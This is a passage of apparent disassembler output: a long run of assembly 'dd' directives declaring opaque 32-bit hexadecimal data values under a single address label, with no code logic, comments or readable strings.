30F59D00h dd 0C67CB717h, 0B45E5059h, 685F001Bh, 498401D3h, 0E00B3707h dd 0D0434C85h, 4DB08005h, 50871D2h, 130DFE8Ch, 1A8A295h dd 86B53641h, 96FC99BDh, 18B4F6h, 9081779Eh, 4D05C350h dd 0CF62C520h, 22E00480h, 41FA011Fh, 0B0359EC2h, 0E4C89FE8h dd 6026159Ch, 170B6200h, 0B6CFE48h, 0C95BF03Bh, 3CE65422h dd 55A484C8h, 0C2C72805h, 54E0298Dh, 5B9500AAh, 0F917F40Dh dd 6CF16E23h, 87E00018h, 5424FA2Dh, 180558B6h, 4ECB0400h dd 0B768060h, 0A5B77E16h, 164D3849h, 0A0C5006Ch, 0FC5A9527h dd 0E800F87Ah, 0B68357C6h, 174387h, 807B8586h, 980912CDh dd 78C58901h, 5E02BDCAh, 3503F8h, 44500A76h, 4338B9D7h dd 28227558h, 1100F853h, 898E2827h, 5CC4E5CEh, 460706Eh dd 718DD390h, 9D4B9C00h, 9E5E0E55h, 3E1B0085h, 740DCBCAh dd 0D409174Ah, 806E469Fh, 274C23C9h, 0E4D848C8h, 9B8E0101h dd 0D84575E3h, 1FF6C0EAh, 823F2600h, 0F8E65459h, 816617A1h dd 735500C1h, 78190FFEh, 0B39E2000h, 0F8A541CAh, 0BA6B05ABh dd 15FE9C2h, 0DC04B194h, 0E4818799h, 0FC51132Fh, 0BB7068F7h dd 9DFB0020h, 0F62C2BFh, 0E70027F2h, 98CEAB2Ch, 9BA467h dd 814D9E92h, 0DEC1A077h, 56B9F700h, 49B10FE9h, 0AFDF01B7h dd 935A6F44h, 6D45D0EBh, 199C7600h, 0F83DEF47h, 17ED0080h dd 6E8D50D6h, 79FAE862h, 9E78CF28h, 2A3E3F04h, 1C88D385h dd 72600AAh, 0BADA04EDh, 0BC00F8EEh, 0E4B03048h, 2E74EB0Dh dd 440816Fh, 0B6549A1h, 51EC19F3h, 0AAE530h, 937CD4CCh dd 0F2721924h, 6752AE09h, 95802347h, 0BB2896Ch, 6732020h dd 83C98CA0h, 69071039h, 25A45E9Dh, 3E83FA27h, 9014F063h dd 8BFB0068h, 3CD2F708h, 8600CE24h, 0A7213470h, 28FF957Ch dd 0F06DFBh, 743AADBFh, 67C920DDh, 0FA6120h, 0D66625F5h dd 4FB043D5h, 865F6200h, 1E4037B1h, 0FFE50078h, 0C3221D0Eh dd 5D178FD4h, 9B02527Ch, 4847DD6Ah, 140CCB4h, 0DAE6047Bh dd 9DAB08B6h, 3380B3F0h, 0A72F7C62h, 13E37D9Eh, 552AA89h dd 0C1932D96h, 38CD6CBEh, 0C82A00D8h, 0EC9EA41Eh, 71D00083h dd 3BCAFD47h, 0A03FA176h, 79978E4Bh, 0EC44E5A9h, 0C7EDF000h dd 0D112C6h, 0FAEE55B7h, 326B773Bh, 46B4F225h, 0B17490h dd 5F3A7482h, 0CD8C7E4Bh, 8198F93Ah, 8FBC6B6Ch, 0AF555B3h dd 5C8E71D8h, 0B90000E4h, 21D4E6A1h, 4C00D9C2h, 6FEF3509h dd 0E79778Eh, 0FB7578B4h, 0EA5F4740h, 203B26D0h, 3B0E739Fh dd 0E0B86768h, 82D604CCh, 7D1972E0h, 6E6261Fh, 0E381CEDh dd 409F714Ch, 1D82E395h, 6B3A03D2h, 2805246Ah, 0F18B4380h dd 1FFA47h, 0C91C2861h, 9F465076h, 0E4A99C03h, 0B08162C4h dd 7F36099Bh, 0ED474EEh, 2FF5BF51h, 33EDA60h, 0E302401Eh dd 89161BF6h, 2451C0B4h, 2CB81BFCh, 717EFA8Fh, 5AEC3A1Ch dd 5273B941h, 1883C88Ch, 398B5887h, 9E0A29F9h, 5601C010h dd 0D6685A92h, 0F8EEBEC8h, 77260034h, 90AD9621h, 61079FC0h dd 0A7893D0Eh, 0A1A019D0h, 0B8B20368h, 888643E7h, 0A608BA8h dd 0E1EBB900h, 916E64FCh, 309D49D8h, 4A48DF07h, 0E11FB05Bh dd 0D030E597h, 95911A3h, 800D6028h, 0A9E6913h, 25EB1A00h dd 61451DBBh, 4959604Ch, 85DFA5E1h, 4D8BC801h, 0BF3E65A8h dd 392652F0h, 0AC00EF5Bh, 5C825949h, 0E000FFF0h, 763FA998h dd 0A8BE2h, 25C20EA4h, 0C389F911h, 0C580DD00h, 15F4103Eh dd 409F005Ch, 205E8E3Fh, 0EB077129h, 815D1A27h, 72483650h dd 18F301AEh, 521757C2h, 7469C8CCh, 532E2800h, 0DD63C60Ah dd 7D8C0201h, 51F0EAF7h, 8D9DD6C0h, 0EDF86502h, 81D137F4h dd 80D73D2h, 1F028BFCh, 1E411CAFh, 0A82A43C1h, 0F00010EFh dd 3472CD84h, 2ADCCA1Dh, 1D846B86h, 98908Ah, 33A6DD0h dd 1F04C2BBh, 0DA6AC364h, 0FC41E0B0h, 22C10E1Bh, 0DB816B05h dd 50EF3EAEh, 4A202FD0h, 0E0367E6h, 0C5905A69h, 37A368h dd 0C8296460h, 0DD9D5C49h, 5F2897Ch, 0E50183FCh, 7A65278Bh dd 382408D3h, 0A92F055Ch, 8020881Fh, 8B18808Ch, 0B0B2A1E8h dd 0AA77C900h, 1FDAD24h, 0AF194C22h, 0E51D8A00h, 0A2D6464Ch dd 0B0D3B903h, 0F34885h, 337FBCC1h, 81F58906h, 2814F900h dd 26EB87CCh, 120E069Dh, 0D1E0D8EEh, 39DE4830h, 3AB018DAh dd 24802853h, 2029F75Eh, 0A85A96EEh, 0DBB44040h, 0A1AC14Ah dd 0E6A0E7B7h, 88A600F8h, 0A850F28Fh, 0E157C500h, 0A4FC0FBEh dd 0C439C067h, 1D63976Dh, 9259B03h, 0A3262BE0h, 2A21006Ah dd 61C49778h, 4A14FAC7h, 2ABAF6D4h, 640AE8D8h, 447CF318h dd 193A370Ch, 567400D5h, 69638DA1h, 100EE32h, 3533E951h dd 1ABDFFEh, 0EBA59C82h, 0A1B988F2h, 0B6715041h, 5D39BA18h dd 1EEF0A5Eh, 0D944A0DDh, 5B5C7F40h, 2700970Ah, 7215D6DFh dd 0AF6709h, 14FDA64Fh, 949EFFC4h, 18FA3800h, 6258376Fh dd 66930C49h, 0E249FBA4h, 0FAF158h, 0E3547489h, 1F986Eh dd 9F1CA5A2h, 4E971528h, 42188CA4h, 0E60871D9h, 0B16560DBh dd 663E3DDh, 0E01C11C0h, 6C0146h, 1E413325h, 3DB97148h dd 7D685Ch, 3AC1DD24h, 48E7E447h, 4E0D7C1Fh, 0C658FFE1h dd 0E77FB874h, 2E1E5A7h, 0EF6037D8h, 1E90C707h, 77B8E59Dh dd 0C31200BBh, 0F3C9222Bh, 0F7FC380Ah, 0C819C176h, 0BF292AA5h dd 0EF7D4D10h, 0F6BB1507h, 3C50070Eh, 707234h, 0D5474E9Ch dd 58E76E95h, 628C3E1Fh, 0A92B8780h, 0EC5DA8Eh, 6638F949h dd 0CDA74DC0h, 0FD00C691h, 0D82D892Eh, 0BD32D7h, 5C3A574Fh dd 52193BB0h, 1238E81Fh, 70C23340h, 7A17AE6h, 0ADC709E1h dd 0B3AC3087h, 9600065Ch, 316F1F46h, 777AB7h, 0B21729B1h dd 0E2AB1533h, 0D100EDF2h, 41F5B5C4h, 707B2FBBh, 0E1672E98h dd 0D44800F5h, 0BFBD2603h, 6CA2E503h, 0D02D9385h, 387E91F6h dd 0BB3872E4h, 0DE153B00h, 0A3BCF367h, 5351B20Eh, 90A85809h dd 7EC00CFAh, 66106CAEh, 0E9896800h, 0FBBA7AA5h, 0F74403E0h dd 2DC62165h, 3C6EF800h, 0A941025Dh, 8D0E1D53h, 8ED1C040h dd 6DA320FEh, 5FEA9F00h, 0BAFAE1F2h, 150D0003h, 0A74B27D1h dd 2C0018A6h, 74BF3B51h, 457865h, 93FD2841h, 0F3EFC54Eh dd 0CF79D600h, 873E172h, 2CA103ADh, 0C4E2B81Bh, 0D4422000h dd 0EA516FAAh, 78ACC549h, 2E9403CCh, 49F69783h, 0D300DA7Dh dd 0A4F95A01h, 12463Ah, 676D7B53h, 2158B626h, 405EEA24h dd 0B185D680h, 54A65h, 7B76AE02h, 0F9E6F4Dh, 7F26E839h dd 0F8E7630Ch, 47895Eh, 5532CD5Ch, 0EA1DF2ADh, 66959B00h dd 0BA157BE0h, 4AFE1816h, 3FD31065h, 8CED0800h, 212659AFh dd 5FA448DAh, 0FBF37E00h, 0B6420E2Ch, 3486F9E5h, 0F90A2158h dd 903AFE8Ch, 0C47DD500h, 0F2B40F9Ch, 1E440026h, 82F3F967h dd 9660FEBBh, 0CEC2AA8h, 78BC48A0h, 80EFD000h, 1668ED88h dd 2C8C4C00h, 38C1F369h, 5D700A9h, 91CB4903h, 7F0CCC2Dh dd 118A1C29h, 302600A5h, 28A99B01h, 0F670CB7h, 69802499h dd 0F50A2E2h, 12B378DEh, 80EC636Ah, 0AB9EF206h, 0E3006122h dd 0DA9D7B80h, 87D17h, 5246284h, 88D666D0h, 72578600h dd 0C7FF387Ah, 0AE782C50h dd 908F8EA8h, 3C199194h, 30E45829h, 240005A6h, 6947BDFh dd 0CA5548h, 6930AE4Ah, 0C05AA3E1h, 8C209000h, 0B6E45951h dd 42A730FBh, 8964EF40h, 1E49ED00h, 1B9C585Ah, 50DF0E3Ah dd 1360597Bh, 0B4D1F95Ch, 803F0138h, 0A6439BB1h, 0A1B5E9BBh dd 28087DCCh, 0C8486800h, 36818E82h, 41900FE3h, 0BC2B42h dd 6BFB50E0h, 262A317Ah, 3C008C98h, 134F96F8h, 48FE0A78h dd 6A004C3Eh, 6A984C8h, 3C01D67Eh, 2514F836h, 48D203D0h dd 0E529B64h, 0E5C9AF9Fh, 89498201h, 42A3E8F7h, 5A131800h dd 0E0D9599h, 87FD008Ch, 0C09B6966h, 0A118F98Ah, 0EC805CA9h dd 302C005Fh, 0C3B376E3h, 0C4A40B3Dh, 15805500h, 0F3F01ED8h dd 0BFE7258h, 0DF959BDh, 9DF9B80h, 0B874E262h, 0ECC25501h dd 380C2457h, 54B13864h, 44FE868h, 93E09D66h, 527C8019h dd 0A201FC44h, 608F5835h, 6AE8918Ch, 41E4A918h, 7B30F0DCh dd 0E997030Dh, 47252903h, 2CDD31A8h, 58218304h, 0F080C62Ah dd 0FE11D3A9h, 7B1E0028h, 7143E1DAh, 1F30A804h, 3CFCB05Fh dd 553D00E3h, 9ACF5A06h, 0FA015632h, 0DBC06DCBh, 0C020CC04h dd 0D1F75C77h, 0BABC5B2Ch, 13F75F7h, 4E8FF1E9h, 24E88B50h dd 4A0044F4h, 0F588974Bh, 4772A0Ch, 5D4DCE8Ch, 0E6B4807Eh dd 0B403FFE0h, 0E88D557Dh, 32A1F86Ch, 0C547342Dh, 0EA2680B8h dd 7D591AFAh, 42244C74h, 754022F4h, 0B12A01BFh, 0A3EBB64Ch dd 52D44A75h, 4067C898h, 0F9FA3FFDh, 8DABE0EBh, 0EB30C0Ah dd 8E45B86Dh, 3197C801h, 0A05127F8h, 94F9A6ECh, 0A4D869E1h dd 0FE3D268Eh, 88A18888h, 3B59B701h, 0BC2423F1h, 617A05AFh dd 408321F4h, 2582AC90h, 23005C75h, 11B1BA4Fh, 24F238h dd 260E066Eh, 68FFC7EEh, 53A5C001h, 3BC6D3Bh, 4C3F4h, 64C5D98Ah dd 0A10A9F45h, 398F649h, 99AE3D61h, 52111EE7h, 327B47C5h dd 0B721F03Eh, 1500C450h, 45874BB1h, 0D57CF3h, 0AB3D20A4h dd 227F163Ch, 664D9202h, 8950DCA6h, 8B108180h, 0CC40B4A3h dd 904778ABh, 9D210022h, 13AC5C62h, 3500F760h, 7A53F923h dd 3CFC4A8h, 57904337h, 0C0C4422Dh, 80AE6D90h, 0A292F902h dd 5A74B729h, 130C732Ch, 1513F32Dh, 0B138844Ch, 0C0B3BF83h dd 4A80A38Eh, 0E24E5F9h, 0F4039E35h, 88386B2Dh, 5C42FCh dd 10C4656Ah, 0D41EC206h, 6DC83C00h, 75E2BAF3h, 7A5B0068h dd 839C52FFh, 1500A856h, 0EAC31B6Ah, 88D224h, 0F161C016h dd 219976A4h, 11415701h, 0F45170C9h, 10FD34D1h, 0A1A0CCh dd 633A3B92h, 0E5EB4A22h, 8518CCE2h, 0F47690F9h, 1C28C036h dd 66F82D3Fh, 2FFB4000h, 507EFA80h, 61C9014Fh, 333FA641h dd 0E288C4BCh, 19DB050Ah, 2E03D8D8h, 88CE06B6h, 2AACD541h dd 0E943BD0h, 0B9C3F950h, 539BEC04h, 1E819C5Eh, 0F6AA8C35h dd 9096D024h, 23FA0098h, 879FFCA9h, 545927B1h, 487B00FCh dd 94832574h, 1BAE12E0h, 0C618C086h, 8CB88B90h, 3109F400h dd 0D00642EAh, 0E74090B9h, 0ED5C0F20h, 0E86A4980h, 0D7C5F16h dd 290EBA02h, 707140C0h, 59B90038h, 73BE98DEh, 0F1E35F4h dd 4B40D46Ch, 0D6E7179Dh, 909B0112h, 0B2530430h, 684520D7h dd 1E2FA612h, 34623C00h, 12CDFCDEh, 47650ACEh, 5AC7C8FCh dd 3F030054h, 0C072D99Fh, 67F6B900h, 7460FB2Eh, 87E607A0h dd 0B0FA4089h, 0CBFE2991h, 0D745B8C7h, 0F97AC3C0h, 13262780h dd 68300CE0h, 0B482D409h, 68964Dh, 0C32F46Eh, 8DD25A65h dd 0F21B9A00h, 0CEAE485Fh, 82030578h, 803F4EDAh, 9D6CA478h dd 5070470Eh, 89BF0919h, 0F3B28650h, 5BBB0059h, 37D6A55Ah dd 0E63E47BCh, 35900A3h, 0F8381F6h, 9BDC7E7Dh, 3953C468h dd 76080467h, 0F3802C56h, 9B5BFD5Fh, 5421C101h, 634ED0C7h dd 6D3C1EB4h, 3CE4209Dh, 6C025E13h, 0A055C106h, 646ACDC0h dd 85749B5Dh, 0C030AAAEh, 0CF7FF0BCh, 968CFC3Fh, 2000B05Bh dd 6E2CEFDEh, 7EE7003Dh, 0F47F4EEAh, 67007290h, 39832957h dd 0EBB144h, 0D24B9E6Dh, 586BF2Fh, 0FB94690Eh, 0A339A546h dd 6CCA1091h, 7AE53880h, 40D32999h, 89F0BC01h, 0A6D5BF5Dh dd 0BB9E2980h, 0C6F6AE0h, 0FD559400h, 1793CB68h, 263C0092h dd 9B819980h, 0CC034803h, 0BC04B076h, 2A19046h, 0FC7635h dd 42EFE960h, 2B385A4Dh, 0BC3CBD1Dh, 4C822F01h, 0C42018F6h dd 4515189Eh, 6339795Ah, 0D400DFF2h, 0FEEC3554h, 5CE8092Dh dd 6001823h, 553C4231h, 2901D94Eh, 61FCC310h, 0AC2423B8h dd 0D81A54E1h, 2B1C28A6h, 0F43F0FD4h, 64018691h, 81ED3035h dd 0CBAFF719h, 3CF4099Ch, 3D5CB80Fh, 0F58FD237h, 21A30C87h dd 1000D102h, 0DF72C770h, 1D8BE63Bh, 0C2C4130Ah, 0AFD0E810h dd 8C153AE0h, 3A6BD100h, 0D28033B6h, 237600C4h, 580643DAh dd 0E87D81A3h, 39784800h, 4CC2C7E0h, 7187A68h, 75B4C9BBh dd 80C9AAh, 0EF0BB377h, 6C9B9300h, 0BF87B24Dh, 0FDD700F4h dd 0FBF7082Bh, 71006F8Bh, 1B99C6DCh, 3DAE285Ah, 64009035h dd 0CAD4AF56h, 9F03B97Ch, 6684C4CEh, 9EBCB06Dh, 0CCBADCh dd 6BAA9318h, 7DD583CBh, 0F40789F6h, 6228F79Fh, 655DE260h dd 0AEE63E21h, 44DE196h, 0B06011A0h, 527A87D0h, 6F6CA800h dd 99A7F99Eh, 845E0038h, 0CE4CF07Eh, 1B003B44h, 1A62FFDBh dd 0A09F81h, 8F1324AEh, 0EE0C0F4Fh, 0A3AF0801h, 0A59D191Eh dd 17A31ECh, 5A36E08Ah, 0CCBCCC4Dh, 20FAB947h, 92188960h dd 0D6FDA1h, 6C279E2h, 215234F5h, 8E73BF00h, 50E8590Ah dd 0B9D81DF2h, 78BA9Bh, 48C2B145h, 3AA12615h, 0AF97DF00h dd 0ABEF577Bh, 88CE1D39h, 874F409Fh, 0C654F11Dh, 31531604h dd 0CC112E2h, 0FFD83022h, 3E77A5h, 0BFBD81ADh, 0ABCD3D26h dd 0D8A1100h, 0C259127Eh, 890A1F98h, 0C11C1CCCh, 1D441B48h dd 0B092ECD3h, 61E87400h, 41DC15CFh, 75060094h, 9B0CA272h dd 0D600E6ABh, 0DD551018h, 1A4BAE45h, 10B0120Dh, 43F8BE80h dd 0ED0018F2h, 98E1A994h, 0C0571DE6h, 0BE82F7Eh, 9375BD0Ah dd 37722201h, 5B3317D4h, 1ED90C0h, 0A94DF4Fh, 0EF209525h dd 48D91FF8h, 2F60E812h, 842C581Ch, 25EE0900h, 57ACF1h dd 0B8CE118Bh, 0CE936E7h, 0E514B00h, 5F71A276h, 0E51F00AFh dd 2F7A47D4h, 0D100928Bh, 0E2F26A4Dh, 16835CBh, 0BD8398B9h dd 0F81238C4h, 277CDEC0h, 21AD9000h, 0F737E3C1h, 4249028Ch dd 3EED12Bh, 0ACF63840h, 0A0E94425h, 0DF304FCh, 4CD70037h dd 0B943714Dh, 53D9408h, 0A64F0062h, 97F087FBh, 0E8FCB213h dd 0B2E80067h, 2C31602Fh, 0AC006B4Dh, 0F1507388h, 0BF8EEBh dd 0A80D4166h, 0F6B7BD94h, 0D1E1F203h, 0B03A4D1Dh, 1D8B952h dd 0A0865D15h, 2069B6E0h, 850210A4h, 5BE2595Eh, 1C50CAh dd 7FA80116h, 828B9162h, 0C8B30730h, 4DC9F139h, 7E4085h dd 61E4F4A2h, 6D523811h, 6EAD7400h, 2CDE3B5Ah, 0DDE800A7h dd 0E4FFB3C4h, 2407D50Bh, 1E27E59h, 6620D830h, 62833F8Eh dd 0C06C341Dh, 1F31F1B5h, 0BB00DDF6h, 473F2C25h, 7DF82ADh dd 0C9794CA3h, 75F5D3B0h, 50D2B5BAh, 2E6C879Dh, 13E7DF20h dd 0FB875CE1h, 1FF92426h, 42807CF5h, 6CB34BDCh, 0D300FEC1h dd 34071269h, 0B504A35h, 53A66698h, 24F1DE00h, 4F035BF6h dd 38C1442Ch, 343BA827h, 39F67Dh, 0A00A73F3h, 4645AC93h dd 7969EC01h, 0B58720E5h, 7DB6C0h, 0F82CD95Eh, 0DC32352Eh dd 7E42FA00h dd 0E527101Ch, 256379ADh, 1C809199h, 0D0CC7CDAh, 0CBAFF71h dd 62F5CA00h, 99D7537h, 13A0A864h, 283100CDh, 0A1BA99BFh dd 77008653h, 0F4F1F730h, 64EB88h, 2A9656D7h, 0DF3FA87Fh dd 0EC223C07h, 9EB653BEh, 0C8871270h, 231048Bh, 0F310A88Dh dd 0C741E759h, 20BC151Eh, 20B88200h, 1FB59FA9h, 0F5968B0Fh dd 37BF4090h, 12B07806h, 0A057772Eh, 0E7E4FE1Ch, 925EB1Fh dd 0C510C205h, 5954C6h, 47698590h, 1E094BE2h, 7FDA2600h dd 0F276E7BDh, 6F1030AAh, 0A5597C70h, 23ACE52Fh, 0D04557E4h dd 3E68F666h, 76746122h, 2FC9B470h, 0A06A34A0h, 3B00E609h dd 0F63D6126h, 2F3C289h, 10959FDDh, 7CD844D7h, 1A4BD607h dd 60FDD2AAh, 62169282h, 17C02ADEh, 6E005D2Fh, 2C4A6544h dd 54A88F6Ch, 482EDC9Ch, 0C10FE620h, 0A7A0570Ch, 51D0875h dd 7FC98300h, 0FE37CDA4h, 0B96F2F64h, 0DB2C5823h, 7CC494D8h dd 0D270E9E4h, 0FE046D7Dh, 0F26F3F1Ah, 0F0B5C3h, 0B25C40F1h dd 0A14222D0h, 105D2900h, 1F2848E0h, 6BDF00BAh, 1B9BD289h dd 4200D780h, 8F94A465h, 0E562B2h, 0D8ABD1D0h, 0C3BB8BC1h dd 0B8A2CE00h, 3DF31F2Fh, 855E01AEh, 0FFAE555h, 8B85202Bh dd 0AB02807Dh, 48F2C97Dh, 0E8C5088h, 92946D5Ah, 0F58180C0h dd 0FCFAAC98h, 312C0600h, 0E77423B9h, 0D3A001A6h, 0FF608318h dd 0FC748168h, 3B56C9Dh, 4508047h, 95B9737Fh, 54042Ah dd 6EE12739h, 0E5005063h, 0BAF9ABA0h, 8ED44Fh, 0B96D5D6Bh dd 0C3130E0Ch, 50376E00h, 0EAE2BD18h, 92D600F1h, 4A917A5Dh dd 6F009930h, 0D9C09548h, 15AA4FAh, 46C157F3h, 0D0C2D4FBh dd 20C01A03h, 0CFA13E32h, 72FE0755h, 0C945ADh, 0D4188EBCh dd 0CEF2A400h, 4A70A242h, 0ECFA0025h, 6E49C176h, 2401A0F5h dd 7B64788Dh, 5085A923h, 26344AA7h, 2E0A6040h, 40C237F2h dd 3E493F88h, 25A10289h, 50D82280h, 867C90B4h, 204A6E30h dd 18EC4879h, 68304121h, 223E1A7Ch, 8B4A00A8h, 632C08C0h dd 7528C0C1h, 0E33CB942h, 15D06406h, 60088E16h, 3256216Eh dd 2B0037B0h, 812D03A1h, 71B8CE3h, 16FD82F2h, 0F876205Fh dd 7A60CCFEh, 57C3A0C0h, 3A260E2Dh, 3B6C6235h, 7C60B008h dd 890B8020h, 18F7D0Fh, 0CF8B99D8h, 484D685Ch, 0B3304AB0h dd 0A4FD8166h, 2A38C07Bh, 0FEE22904h, 8DD96B00h, 35DCECEFh dd 15760617h, 90CEDAF2h, 22B5F700h, 136D3E94h, 44180060h dd 0B42F9238h, 0F1CBC39h, 8380F1CFh, 0A749DBB0h, 0B19F07EDh dd 6F9D7BC9h, 5C40098Fh, 175F992Bh, 0AF617800h, 0F276AB3h dd 86910329h, 7A87088Ah, 74D16CF0h, 0BD0EB7FEh, 59E1E8h dd 0B4F2AD69h, 9F1D007Fh, 42B984Eh, 77002D5Fh, 72CE54D2h dd 9F6DBEB1h, 0BD03D258h, 9CFD362Eh, 0CA43B0A2h, 33510341h dd 85B098E2h, 0FC3048B0h, 1975C92Eh, 0A0DF8D0Fh, 7D7FE6F9h dd 488F07F3h, 0C094147Bh, 0D89025F8h, 7A49C93Eh, 1C50ED01h dd 9B5A0405h, 1BF828F1h, 5B473CA8h, 0F435CC00h, 7F8FA4F2h dd 0D7498D00h, 0F9F592FFh, 414A0FC6h, 0D881ACF7h, 87C2F869h dd 0D9FEA450h, 0C85B7F70h, 90360058h, 1E019D49h, 0EC063CE1h dd 6C08EB81h, 84740318h, 59ED5E3Bh, 0E17080A9h, 0E0FAF164h dd 8309412h, 0FFA72873h, 0E6EF60D2h, 0C24B9BDh, 9A9818C3h dd 0A0D86893h, 0CC9F6004h, 0D2001F2Bh, 1C84F0DAh, 0C0578F4Dh dd 0E65CB9D8h, 0F700EF93h, 6D72146Ah, 147C959Dh, 8C124573h dd 90DE8C0Ch, 14F8C230h, 0F83C0200h, 0A23D5D7Eh, 0D26700E7h dd 0AAA49477h, 0E85459EFh, 0ED327A28h, 868D1967h, 0C9972C0h dd 0FC769984h, 591470A9h, 0C060D254h, 730B770Dh, 60B931CAh dd 0F6E7A8h, 2AEB9474h, 390EFF4h, 0D9E2224Ch, 7F0AF3Bh dd 0A3608477h, 0F74E4F79h, 7C1B55F2h, 8884B1E2h, 98793EE3h dd 19938C18h, 4BE07C96h, 0D81C84A8h, 405AF930h, 14E7C4B7h dd 48F74D93h, 0F0AAB810h, 60FC7CCAh, 0E69A484Ah, 39DD90FBh dd 0C2CF9580h, 70E747FAh, 225B143Dh, 0A2454F0h, 18DA1410h dd 1DC9D01h, 0C4F6727Fh, 86EFC41Ah, 0F78A5AA1h, 0BF030039h dd 729F82A1h, 0F154740Ch, 86B741CCh, 10F20Fh, 85FB5210h dd 5E379B8Dh, 844A192Ah, 6EFA6500h, 0AE36B11Ah, 0BAD50384h dd 3BDEFBA5h, 0B80C97C3h, 10DF53EFh, 188C1CE4h, 48DF6Fh dd 0FAC98F51h, 69D047D8h, 0C19433DCh, 8EE7F972h, 5213E8D0h dd 7863A01Ch, 58521FBDh, 2A4E1E64h, 16814F06h, 50C65020h dd 5D0F061Eh, 10F6A23Ah, 0D2C4CC15h, 66DA0EB0h, 5EF28717h dd 819B7247h, 0D22D4331h, 65DAE6F0h, 7C0E61A5h, 3828F440h dd 408CD981h, 18360C40h, 19E2932Eh, 601E7A9Fh, 1026A09Bh dd 196E4831h, 5E212AFBh, 0EF10CA54h, 94F91BCh, 66D80EAh dd 2417744h, 150DBF98h, 0AC40AEEDh, 4082F6EBh, 8410C010h dd 0CF75128h, 87E9821h, 9C42F808h, 0C5057Dh, 0EF5A5264h dd 68036BDEh, 73E439C4h, 0F390E1D0h, 490D8824h, 0F200C806h dd 0AD813C0Fh, 750D327Ch, 48931BE8h, 0C2A4D4h, 0D20EB653h dd 0B5055A26h, 0DA1FC301h, 0CDD49645h, 5D10006Bh, 49AA6F86h dd 5333DD0Fh, 790EE028h, 0EC7778A1h, 0AA00BD9Ah, 193BA36Dh dd 0C3E02D0Eh, 0D8A8049Fh, 6EBEE0C0h, 0FB702810h, 1742ACh dd 0CC460A39h, 8E3293h, 839A76CAh, 6540B9D9h, 4127C301h dd 0C2FBF688h, 0E7D4C0h, 549D1D8h, 16736C6Dh, 0ECAD900h dd 0CF8AF059h, 54DD0507h, 0C44FFD12h, 0C535C0D9h, 0E3012322h dd 20A4AE70h, 36E54DF6h, 30D51BF0h, 6608C781h, 0DE003331h dd 2ABF38A7h, 87070Fh, 1BD1ECA0h, 75C566A4h, 0E2182598h dd 3B10D6DCh, 24AD0763h, 0D16C59B3h, 0D1646157h, 0C5508E85h dd 50AD6018h, 0F32B1CFh, 26E6FCF4h, 0F28A5220h, 0A03AD0EEh dd 9B598C66h, 76BF906Ch, 549226E8h, 68D01885h, 13715F48h dd 3C038303h, 1ADEC74h, 30B51B91h, 200E1E08h, 5B31DFE0h dd 6DB7088Ch, 0D420A0h, 0BD128208h, 0AB1704D7h, 8BE61D00h dd 7CFAAE50h, 0CEDB05B8h, 809F4C1Ah, 48E316C0h, 0D07C1C0h dd 6FFCBCh, 0BE494C26h, 0DA0F33AFh, 0C8AA8606h, 289A294h dd 3A6B078Bh, 94E1FF03h, 40CBE920h, 0D15A88ACh, 74389502h dd 639202D9h, 4E610C7Ch, 0E9291718h, 0AA53CE00h, 104D28D7h dd 0A89506C2h, 40C820C6h, 0D4CC452Ah, 0EA24F200h, 1594D3B2h dd 0FB7500F8h, 0C747F45Fh, 30C41A42h, 0FEC0F5D6h, 5066068Ah dd 9889B4DDh, 3FFD3F32h, 0F0417E80h, 6DA1D51Ah, 67A62E00h dd 12A93FBh, 0A0DF003Dh, 5DE4FABBh, 7B17D5ECh, 1FA6E04h dd 6C7569BCh, 3D204E7Dh, 80D721B2h, 0ECB95947h, 0D6504018h dd 28C75E0h, 133507D5h, 0B0198ED9h, 80F9510h, 91651904h dd 1489AE0Ah, 6210E200h, 1C92007Fh, 485DBE97h, 26482C27h dd 33B31514h, 0CA2B00ACh, 0F4ADA4CDh, 66A70F1Fh, 6A9905Eh dd 0EFD92C00h, 95000382h, 0E6F8FB89h, 5262CB12h, 601E0ADh dd 976C92AEh, 0E9F92076h, 15E87FFCh, 7827C8A8h, 0B1F49C00h dd 42E3B875h, 9930ED8Dh, 21140A0Ah, 594F9BBh, 2068CAFCh dd 5E9D242Ch, 11869623h, 0E629002Fh, 9606BC9Ch, 28D913FFh dd 492148Dh, 0CDC95BC1h, 599F400Ah, 7409FB6Dh, 18E303D8h dd 1DAD65D0h, 61C9B322h, 3600A391h, 4254AD6Dh, 800BDE5h dd 0A877D4C9h, 61B298E1h, 27DD69B8h, 0E43080D8h, 0E25808B6h dd 8FCE039Fh, 0F56B0C01h dd 0A83BFD8h, 8056663Ah, 0CA5B9CFFh, 0AA7DE5B7h, 618024D8h dd 679D2360h, 0AC7E9729h, 9CE8E0C0h, 75270EA6h, 0C4034594h dd 32C36D3Eh, 81F184D0h, 90C0030Fh, 4BDF245Fh, 168E2480h dd 5273E41Dh, 65009480h, 6E02E4E0h, 19390169h, 62086676h dd 6F870F21h, 290711E4h, 92B2E010h, 0FC74AB79h, 0FAC19960h dd 8EFF8Bh, 0B110E203h, 0E3049534h, 7A7E4500h, 0D7B90F7h dd 0AC9C2652h, 66AB0868h, 97899807h, 71F72AF0h, 8EA00ADCh dd 80C01402h, 545987B1h, 0B50C413Eh, 0E1BB44EBh, 830339EDh dd 0A3E89848h, 0FE006643h, 198BD8B5h, 40182F4Bh, 8871D6DAh dd 9E760044h, 33AD6422h, 10A88B9Fh, 9D241B6Dh, 0AB128477h dd 0D005C5Fh, 2C8CDE6Bh, 0B1C1E46h, 9895C583h, 0BCA05493h dd 0C7F32D00h, 97A25BD1h, 1A8DB706h, 9859D813h, 1D5461Ch dd 0CA78AD6Fh, 2B0C5039h, 21CD840h, 0BD8EAD72h, 0FDC08C12h dd 9022B6h, 30E8C01Ch, 0CE84D0C2h, 52A4A00Fh, 549005h dd 0C94FEC2Fh, 1A24465Ch, 9EBF5D0Fh, 0E98AC0C2h, 9F4E23h dd 376F459Dh, 0CAA2F8CCh, 97802D01h, 10264B94h, 609060h dd 0C5A51B09h, 3376A048h, 18E05D00h, 0ACF8CAEh, 7F36003Dh dd 1A93F8CBh, 0A4A0518Bh, 5D00323Fh, 0FF9819AEh, 24F2AD1Ch dd 0BE209C9Ah, 807C2024h, 6AB8FA87h, 49161544h, 0C4235022h dd 0F00CC84h, 57BEE9F9h, 0D2CF721Eh, 0B242095Eh, 97D5770Bh dd 0D59F08A4h, 844F7160h, 0F2401320h, 408C27AEh, 0FFB65D09h dd 55DCB103h, 48F48D9Dh, 45022CB8h, 0A237D59Bh, 521AEC60h dd 0C7481702h, 0C0C68DFEh, 0F1E2230h, 3B4574E6h, 0CAC5CB60h dd 4C140E1Bh, 50A4F482h, 8700BA64h, 6B45DBEDh, 0A2443ADh dd 0A37180E3h, 0B08F0388h, 